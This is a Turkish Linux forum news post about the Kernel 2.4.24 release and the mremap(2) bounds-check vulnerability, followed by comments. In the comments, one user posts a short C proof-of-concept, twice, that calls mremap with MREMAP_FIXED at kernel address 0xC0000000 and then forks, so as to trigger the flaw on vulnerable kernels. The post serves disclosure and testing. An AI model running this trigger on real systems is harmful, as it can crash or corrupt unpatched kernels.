Kernel 2.4.24 Çıktı

0
bahadirkandemir
Kernel'in bellek yönetim kodunda, mremap(2) sistem çağrısındaki hatalı sınır kontrolünden kaynaklanan bir güvenlik zayıflığı bulundu.

mremap sistem çağrısı, sanal bellek alanlarının adreslenebilir boşluklarını taşımak ve boyutlarını değiştirme imkanı sağlıyor.

Duyurunun tamamı: http://isec.pl/vulnerabilities/isec-0013-mremap.txt

Görüşler

0
bahadirkandemir
NOT: Bu zayıflığın 2.2, 2.4 ver 2.6 serilerinde olduğu belirtilmişti ancak, zayıflığı keşfeden güvenlik grubu bu açığın MREMAP_FIXED bayrağını desteklemeyen 2.2 serilerinde olmadığını önemli güvenlik listelerinde duyurdu.

Kernel 2.6.0'da aynı zayıflığın olduğu duyurulmuştu, 2.6.1-rc1'de zayıflığın giderilmediği, 2.6.1-rc2'de giderildiği ek bir açıklama ile duyuruldu.

Zayıflığı test etmek isteyenler aşağıdaki kodu deneyebilir:

#include
#include
#include
#include

#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );

int main( void )
{
void *base;

base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
(void *) 0xC0000000 );

fork();

return( 0 );
}
0
realist
ne #include ediyoruz?
hangi #include ?
0
bahadirkandemir
Sanırım < ve > karakterleri sorun yarattı. 2 kere önizleme yapmamdan kaynaklandı.

----------------------------------------------

#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <errno.h>

#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );

int main( void )
{
void *base;

base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
(void *) 0xC0000000 );

fork();

return( 0 );
}
Görüş belirtmek için giriş yapın...

İlgili Yazılar

Arch Linux Eğitselleri (Tutorial) Geldi Hanıııım!

sami

Arch Linux kullanan veya geçiş yapaya çalışıp da başarılı olamayanlardan biriyseniz bu site tam size göre. Site acemilerden ileri düzey kullanıcalara kadar pek çok kişiye hitap ediyor. İngilizcesi pek çok insanın anlayabileceği kadar sade. Eğitseller içerisinde pacman ile paket kurulumunu, config dosyalarının düzenlenmesini ve komut satırına girilecek komutları gösteren satırlar güzel bir şekilde belirtilmiş.

Şimdi Linux için de var

e2e

DesktopLinux.com'a bugün girdiğimde alt alt geçen iki başlıkta da bu, "Şimdi Linux için de var" ifadesi geçiyordu. Artık Linux üzerinde çalışacak programlar ise Adobe'un Acrobat Reader 7.0'ı ile Nero'nun CD yazma programıydı.

Acrobat 7.0'a, RPM ve .tar.gz formatlarında buradan,
NeroLinux hakkında ayrıntılı bilgiye ise buradan ulaşabilirsiniz.

Editörün Notu: Acaba RMS bu durumu nasıl karşılıyor.

2.Linux Şenliği: Bin atlı o gün çocuklar gibi şen miydi ?

sundance

Çok yoğun geçen dört günden sonra, dünkü kapanış töreni ile ikinci Linux Şenliği sona erdi. Şenlikte neler oldu, neler olmadı, artıları eksileri nelerdi bir değerlendirelim istedim.

Herşeyden önce, yılın Pengueni, Doruk Fişek başta olmak üzere, organizasyon ekibi, canını dişine takarak her türlü soruna koşuşturarak, sabahın 7-7:30'undan itibaren okula gelip düzenlemeleri yaparak, insanüstü bir çaba gösterdi.

PostgreSQL Veritabanı Sunucusu Semineri

caglar_onur

Linux Kullanıcıları Derneği, 22 Mayıs Cumartesi günü Ankara'da bir seminer düzenliyor. EMO Ankara Şubesi'nin ev sahipliği yapacağı seminerde, PostgreSQL veritabanı sunucusu anlatılacak.

Adım adım Linux'a geçiş

sundance

Niyam.com'da yayınlanan bu makale yedi aşamada GNU/Linux sistemlere geçmeyi ve mevcut gündelik işlerinizi orda gerçekleştirmeyi anlatıyor.